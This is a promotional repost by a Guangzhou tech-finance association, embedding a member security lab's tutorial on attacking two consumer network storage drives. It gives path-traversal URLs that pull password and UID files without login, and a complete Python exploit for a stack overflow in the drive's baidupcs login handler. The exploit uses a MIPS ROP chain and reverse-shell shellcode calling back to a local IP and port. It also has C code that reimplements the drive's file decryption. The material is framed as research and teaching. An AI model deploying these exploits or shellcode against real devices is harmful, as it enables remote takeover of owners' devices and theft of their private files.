大数跨境

会员风采|广州数智网络科技有限公司

会员风采|广州数智网络科技有限公司 广州市南沙区科技金融促进会
2021-02-05
0
导读:会员风彩|请接收👉来自数智安全研究院的硬核科普


广州市南沙区科技金融促进会副会长单位
——广州数智网络科技有限公司 
简介

    广州数智网络科技有限公司(简称数智科技),是一家新型互联网企业,总部设在广州市南沙香江国际科创中心10楼,现有员工120余人,研发人员近100人。数智科技致力于网络安全与大数据智能应用相结合的领域深耕与发展,是广东省网络安全应急响应中心重要支撑单位和广东省网络威胁数据联盟的核心发起机构。数智科技将自身在网络安全及大数据应用方面的能力与国家网络安全战略相结合,以智慧+安全的技术和数据应用,助力网络强国!

【欢迎扫码关注下方数智安全研究院公众号,会有定期开课的哦】

------------------------------------------------------

叮咚,开课啦!!!

来自数智安全研究院的硬核科普

👇👇👇

加密设备攻防(二)

前言


随着电子信息产业的高速发展,电子产品对于各类数据处理的技术愈加强大,在为人们的工作及社交带来了许多便捷与乐趣的同时,人们在日常生活中对各类电子设备过于依赖的问题也显而易见,所以,一旦保管不当,我们存储其中的各类数据也将面临着不同程度的安全隐患。而今,人们对于数据安全性的意识越来越高,各种加密型的电子设备在我们生活中也变得越来越常见。

不过,加过密型电子设备就完全安全吗?答案显然是否定的。十九世纪初,人们开始发明各种机械加密设备对数据进行加密处理,最著名的是二战时期被法西斯同盟国之间频繁用来传递情报的轮转密码机,不过后来被盟军攻破,从而推进了法西斯的瓦解、改变了最终的战局。放眼如今,加密技术在攻防双方的不断博弈中,一直完善和改进,越来越牢靠的守护着信息时代里人们的数据安全。
在上一篇——加密设备攻防(一)中介绍了几种加密设备的破解思路,本文针对另外几种智能设备继续探讨其破解方法。


某家储存网络硬盘的漏洞

这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。


设备与客户端通信

这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。

而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。


隐私空间漏洞

这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。


getFile.cgi 任意文件下载

在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下


在同内网中,在web浏览器中访问设备:
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/config/tunnelid.dat
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/web_pwd.txt
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/private_dir_pwd
可直接下载配置文件 tunnelid.dat 、web_pwd.txt 和 private_dir_pwd ,用于远程登入。

某智能加密硬盘的漏洞

这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。


攻击思路



1. 分析硬盘工作原理

下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。

通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。


将 proxy.conf 文件的代理服务整理如下:

2. 漏洞挖掘

将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。

baidupcs 进程打印出如下信息,最终出现了 Segmentation fault 错误。

定位溢出代码
打开 ida,搜索上面打印的调试信息的关键字,如 getvaluefrom_url
关键代码 sub_43B230 如下,0x43b5dc 处调用 get_value_from_url 函数获取 username 的值时,由于缓冲区只有 1028 字节, 在对长度未进行检查的情况下,将获取username值直接放入缓存区造成溢出。

3. 漏洞利用
我们需要跳转到堆栈中执行 shellcode,结合 mipsrop ida 插件,现在开始构造 rop


先修改寄存器的值

mipsrop.find("lw $ra, ") 修改寄存器


找到 sleep 函数的参数

mipsrop.find("li $a0,1") 作为 sleep 的参数 $a0 赋值,其中 $s4 做为下一个 gadget 的地址


调用 sleep 函数

接着调用 sleep 函数刷新缓存,并在返回后执行下一个 gadget ($ra)。使用 mipsrop.tail(),准备跳转 $s1 为 sleep 的地址,这里填充 ra 寄存器,地址 0x1E8AC 执行 0x28 + var_4($sp) 是将执行后 sleep 返回的地址。


运行 shellcode

使用 mipsrop.stackfinder() 将 shellcode 的地址放入寄存器 s0

mipsrop.find("move $t9,$s0") 跳转到 s0 去执行


创建exploit

#!/usr/bin/env pythonimport sysimport stringimport socketimport structimport urllib, urllib2, httplib


class MIPSPayload:   BADBYTES = [0x00]   LITTLE = "little"   BIG = "big"   FILLER = "A"   BYTES = 4   NOP = "\x27\xE0\xFF\xFF"


  def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):       self.libase = libase       self.shellcode = ""       self.endianess = endianess       self.badbytes = badbytes


  def Add(self, data):       self.shellcode += data


  def Address(self, offset, base=None):       if base is None:           base = self.libase


      return self.ToString(base + offset)


  def AddAddress(self, offset, base=None):       self.Add(self.Address(offset, base))


  def AddBuffer(self, size, byte=FILLER):       self.Add(byte * size)


  def AddNops(self, size):       if self.endianess == self.LITTLE:           self.Add(self.NOP[::-1] * size)       else:           self.Add(self.NOP * size)


  def ToString(self, value, size=BYTES):       data = ""


      for i in range(0, size):           data += chr((value >> (8*i)) & 0xFF)


      if self.endianess != self.LITTLE:           data = data[::-1]


      return data


  def Build(self):       count = 0


      for c in self.shellcode:           for byte in self.badbytes:               if c == chr(byte):                   raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))           count += 1


      return self.shellcode


  def Print(self, bpl=BYTES):       i = 0


      for c in self.shellcode:           if i == 4:               print ""               i = 0


          sys.stdout.write("\\x%.2X" % ord(c))           sys.stdout.flush()


          if bpl > 0:               i += 1       print "\n"


class HTTP:


  HTTP = "http"   HTTPS = "https"


  def __init__(self, host, proto=HTTP, verbose=False):       self.host = host       self.proto = proto       self.verbose = verbose


  def Encode(self, string):       return urllib.quote_plus(string)


  def Send(self, uri, headers={}, data=None, response=False):       html = ""


      if uri.startswith('/'):           c = ''       else:           c = '/'


      url = '%s://%s%s%s' % (self.proto, self.host, c, uri)       if self.verbose:           print url


      if data is not None:           data = urllib.urlencode(data)


      url = url + data       req = urllib2.Request(url, data, headers)       # print url       rsp = urllib2.urlopen(req)


      if response:           html = rsp.read()


      return html


def makepayload(host,port):   print '[*] prepare shellcode',   hosts = struct.unpack('<cccc',struct.pack('<L',host))   ports = struct.unpack('<cccc',struct.pack('<L',port))


  #print hosts,ports


  # sys_socket   # a0: domain   # a1: type   # a2: protocol   mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6   mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero   mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3   mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3   mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1   mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404


  # sys_connect   # a0: sockfd (stored on the stack)   # a1: addr (data stored on the stack)   # a2: addrlen   mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)   mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)   mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd   mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero   mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)   mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90   mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90   mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)   mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01   mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101   mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)   mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30   mipselshell+="\xef\xff\x0c\x24"   # li t4,-17   mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero   mipselshell+="\x4a\x10\x02\x24"   # li v0,4170 # sys_connect   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404


  # sys_dup2   # a0: oldfd (socket)   # a1: newfd (0, 1, 2)   mipselshell+="\xfd\xff\x11\x24"   # li s1,-3   mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero   mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)   mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop   mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404   mipselshell+="\xff\xff\x10\x24"   # li s0,-1   mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1   mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>


  # sys_execve   # a0: filename (stored on the stack) "//bin/sh"   # a1: argv "//bin/sh"   # a2: envp (null)   mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1   mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"   mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"   mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)   mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"   mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"   mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)   mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)   mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20   mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)   mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)   mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8   mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve   mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404   print 'ending ...'   return mipselshell


if __name__ == '__main__':


  libc_base = 0x77c1f000   sip='192.168.8.170'     #reverse_tcp local_ip   sport = 4444            #reverse_tcp local_port


  host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])   shellcode = makepayload(host,sport)


  try:       ip = sys.argv[1]   except:       print "Usage: %s <target ip>" % sys.argv[0]       sys.exit(1)


  payload = MIPSPayload(endianess="little", badbytes=[])   payload.AddBuffer(1036)                            # fill offset = 1036   payload.AddAddress(0x49818, base=libc_base)    # gadget 1: mipsrop.find("lw $ra, ") Modify register   payload.AddAddress(0x0047E758)            # arg1   payload.AddAddress(0x0047F758)            # arg2   payload.AddAddress(0x00480758)            # arg3   payload.AddBuffer(0xC)                                # fill   payload.AddBuffer(0x4)                                # s0   payload.AddAddress(0x4E320, base=libc_base)            # s1 sleep addr 0x4E320                 payload.AddBuffer(0x4)                                # s2   payload.AddBuffer(0x4)                                # s3   payload.AddAddress(0x1E8AC, base=libc_base)            # s4 gadget 3: mipsrop.tail()               payload.AddBuffer(0x4)                                # s5   payload.AddBuffer(0x4)                                # s6   payload.AddBuffer(0x4)                                # s7   payload.AddBuffer(0x4)                                # fp   payload.AddAddress(0x4F970, base=libc_base)            # gadget 2: mipsrop.find("li $a0,1")                   # payload.AddBuffer(0x40)                               # addiu $sp, 0x40   payload.AddBuffer(0x1C)                                # 0x28 - 0xc = 0x1c     payload.AddAddress(0x4AC20, base=libc_base)            # s1 gadget 5: mipsrop.find("move $t9,$s0")   payload.AddBuffer(0x4)                                # s2   payload.AddAddress(0x16BC8, base=libc_base)            # ra gadget 4: mipsrop.stackfinder()           payload.AddBuffer(0x4)                                # s0   # payload.AddBuffer(0x28)   payload.AddBuffer(0xC)                                # 0xD8 - 0xC8 => 0x10 - 0x4 = 0xC   payload.Add(shellcode)


  pdata = {       'opt'   : 'Login',       'state'               : 'login',       'username'           :  payload.Build()  }


  try:       HTTP(ip).Send('baidupcs.csp', data=pdata)   except httplib.BadStatusLine:       print "Payload delivered."   except Exception, e:       print "Payload delivery failed: %s" % str(e)

漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。

4.文件加密分析

使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。

文件加密和解密数据包使用 wireshark 分析,再通过数据包的关键信息定位到加解密位置。


开始调试前,我们先查看一下加密前后的文件
创建一个 test.txt 文件,并写入内容:abc

通过硬盘 app 进行加密,key 为 123,加密后文件加上了 .enc 后缀,查看 /tmp/ioos.log 日志信息。

查看 test.txt.enc 文件,其中尾部 202cb962ac59075b964b07152d234b70 是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。

gdb + ida 动态调试

将编译 mipsel 架构 gdb 后生成的 gdbserver 拷贝到硬盘 /tmp 目录。
远程附加调试
在关键函数 sub_414260 处下断点,此函数参数一为解密文件路径,为解密key的md5值

比较成功后,调用 stat64 返回文件信息

判断文件字节数是否大于 2k (0x2000字节),若小于0x2000字节,则拷贝 md5 值的前 16 位

打开文件,判断文件大小是否小于 0x41,然后移动文件指针至 0x3 字节处,也就是密文(0x3字节)后面的内容处

strncmp 比较密文尾部前0x20字节是否为 "fe2889d36e2045f4a3d362445aaaf72e",查看前面的.enc 文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。

调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。

读取密文,然后调用解密函数 sub_404E28。

加解密函数 sub_404E28,首先建立 0x0 -- 0xff 的数组,利用 md5 值前 16 位生成 0x100 位字节数组。

然后通过生成的字节数组对文件内容进行加密或解密。

解密成功
将上面的加解密函数其转换为 c 语言代码。
#include <stdio.h>#include <stdlib.h>#include <cstdint>#include <string.h>#include <direct.h>#include <sys/stat.h>#define FLAG "fe2889d36e2045f4a3d362445aaaf72e"// 若文件内容小于 0x2000 字节则每个字节进行加密,且 key 为 md5(key, 32) 的前 0x10 位// 若文件内容大于 0x2000 字节则只对文件的前后各 0x1000 字节进行加密,且 key 为 md5(key, 32) 的全部 0x20 位int enc_fun(char* pContent, char* pKey, uint32_t uFileLen){    // 生成 0 - 0x100 数组    uint8_t arr[0x100];    for (uint32_t i = 0; i < 0x100; ++i)        arr[i] = i;    // 利用 md5值 前 16 位生成 hash 表    uint32_t a0 = 0, t0 = 0, t2 = 0, len = 0, a1 = 0, a2 = 0, LO = 0, HI = 0;    uint32_t v1 = (uint32_t)arr, a3 = (uint32_t)arr;    uint32_t t1 = (uint32_t)arr + 0x100;    while (a3 != t1) {        a1 = pKey[a0];        a0++;        len = strlen(pKey);        LO = a0 / len;        HI = a0 % len;        a2 = *((uint8_t*)a3);    // a3 为 arr 的首地址        a3++;        a1 += a2;        a1 += t0;        a1 &= 0xff;        t0 = a1 & 0xff;        a1 = v1 + a1;        t2 = *((uint8_t*)a1);        *((uint8_t*)a3 - 1) = t2;        *((uint8_t*)a1) = a2;        a1 = HI;        a0 = a1 & 0xff;    }    // 对内容进行加密或解密    bool isSuccessful = false;    uint64_t v0 = 0, s1 = uFileLen;    uint32_t s2 = (uint32_t)pContent;    a2 = 0, a1 = 0;    while (1)    {        // s1 = strlen(content);        if (v0 < s1)            a0 = 1;        else            a0 = 0;        if (a0) {            a0 = a1 + 1;            a0 &= 0xff;            a1 = a0 & 0xff;            a0 = v1 + a0;            a3 = *((uint8_t*)a0);        // *((uint8_t*)a0)            a2 += a3;            a2 &= 0xff;            t0 = v1 + a2;            t1 = *((uint8_t*)t0);            *((uint8_t*)a0) = t1;            *((uint8_t*)t0) = a3;            a0 = *((uint8_t*)a0);            t0 = s2 + v0;    // s2 为 content 的首地址,以 v0 迭代            a3 += a0;            a3 &= 0xff;            a0 = *((uint8_t*)t0);            a3 = *((uint8_t*)v1 + a3);    // *((uint8_t*)v1 + a3)            v0++;            a3 = a0 ^ a3;            // seh     $v0              # 符号扩展半字            *((uint8_t*)t0) = a3;        }        else {            return true;        }    }    return false;}int enc_file(char* pfilename){    // 打开文件    FILE* pFile = NULL;//     char filename[260];//     printf("filepath:");//     scanf_s("%s", filename, 260);    if (fopen_s(&pFile, pfilename, "rb") != 0) {        printf("打开文件失败\n");    }    fseek(pFile, 0, SEEK_END);    uint64_t Length = ftell(pFile);    // 获取文件字节数    struct _stat64 info;    _stat64(pfilename, &info);    uint64_t fileSize = info.st_size;    printf("该文件一共 %lld 字节\n", fileSize);    // 求出原文件字节数    uint64_t fileLen = fileSize - 0x40;    // 读取 FLAG    char flag[0x21] = { 0 };    fseek(pFile, fileLen, SEEK_SET);    fread_s(flag, 0x21, 0x20, 1, pFile);    if (strncpy_s(flag, FLAG, 0x20))    {        printf("格式错误\n");        return -1;    }    // printf("flag: %s\n", flag);    // 获取 key    char md5[0x21] = { 0 };    uint32_t encSize = 0;    bool enctail = false;    if (fileLen > 0x2000) {        // 文件内容大于 0x2000 字节 读取 0x20 位key, 解密前 0x1000 字节        fread_s(md5, 0x21, 0x20, 1, pFile);        encSize = 0x1000;        enctail = true;    }    else {        // 文件内容小于 0x2000 字节 读取 0x10 位key, 解密所有字节        fread_s(md5, 0x21, 0x10, 1, pFile);        encSize = fileLen;    }    printf("md5: %s\n", md5);    // 读取密文    // char content[] = "\xfa\xe3\x80";    char* content = NULL;    content = (char*)calloc(fileLen + 1, sizeof(char));    if (content == NULL)//申请后判定是否申请成功    {        return 0;    }    fseek(pFile, 0, SEEK_SET);  //首先移动到文件开头再读取    fread_s(content, fileLen + 1, fileLen, 1, pFile);    fclose(pFile);    // 调用解密函数,或解密首部 0x1000 字节    if (!enc_fun(content, md5, encSize))    {        printf("解密失败\n");        return -1;    }    // 是否需要解密尾部 0x1000 字节    if (enctail)    {        // 解密尾部 0x1000 字节        char* tailcont = content + fileLen - 0x1000;        if (!enc_fun(tailcont, md5, encSize)) {            printf("解密失败\n");            return -1;        }    }    //printf("写入新文件\n");    int nlen = strlen(pfilename);    pfilename[nlen - 4] = NULL;    FILE* pfile = NULL;    if (fopen_s(&pfile, pfilename, "wb") != 0)    {        printf("创建文件失败\n");        return -1;    }    fwrite(content, fileLen, 1, pfile);    fclose(pfile);    free(content);    printf("解密文件写入成功!!!\n\n");    return 0;}

视频演示

关联阅读

1. 加密设备攻防(一)


来源:数智安全研究院

星标/置顶        南沙科技金融促进会

为科技企业赋能    助力科技成果转化

联系人:赵子璇          18229895024


        广州市南沙区科技金融促进会是于2020年12月,在广州市南沙区人民政府的支持下,在广州市南沙区科学技术局的指导下成立的社会团体组织,定位为“一体化科技金融服务平台”,着力打造“两大库、五大服务体系”的运营模式,即“科技企业数据库和科技金融服务专家库,重点发展投贷联动服务体系、扶持政策服务体系、融资项目服务体系、创投引导基金服务体系、科技企业上市培育服务体系”。


【声明】内容源于网络
0
0
广州市南沙区科技金融促进会
广州市南沙区科技金融促进会是在南沙区科技局指导下成立的“一体化科技金融服务平台”,着力打造“科技企业数据库和科技金融服务专家库,重点发展投贷联动服务体系、扶持政策服务体系、融资项目服务体系、创投引导基金服务体系、科技企业上市培育服务体系”。
内容 128
粉丝 0
广州市南沙区科技金融促进会 广州市南沙区科技金融促进会是在南沙区科技局指导下成立的“一体化科技金融服务平台”,着力打造“科技企业数据库和科技金融服务专家库,重点发展投贷联动服务体系、扶持政策服务体系、融资项目服务体系、创投引导基金服务体系、科技企业上市培育服务体系”。
总阅读53
粉丝0
内容128